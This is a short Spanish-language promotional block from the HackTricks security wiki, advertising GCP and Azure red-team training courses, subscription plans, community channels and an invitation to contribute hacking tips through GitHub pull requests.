Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.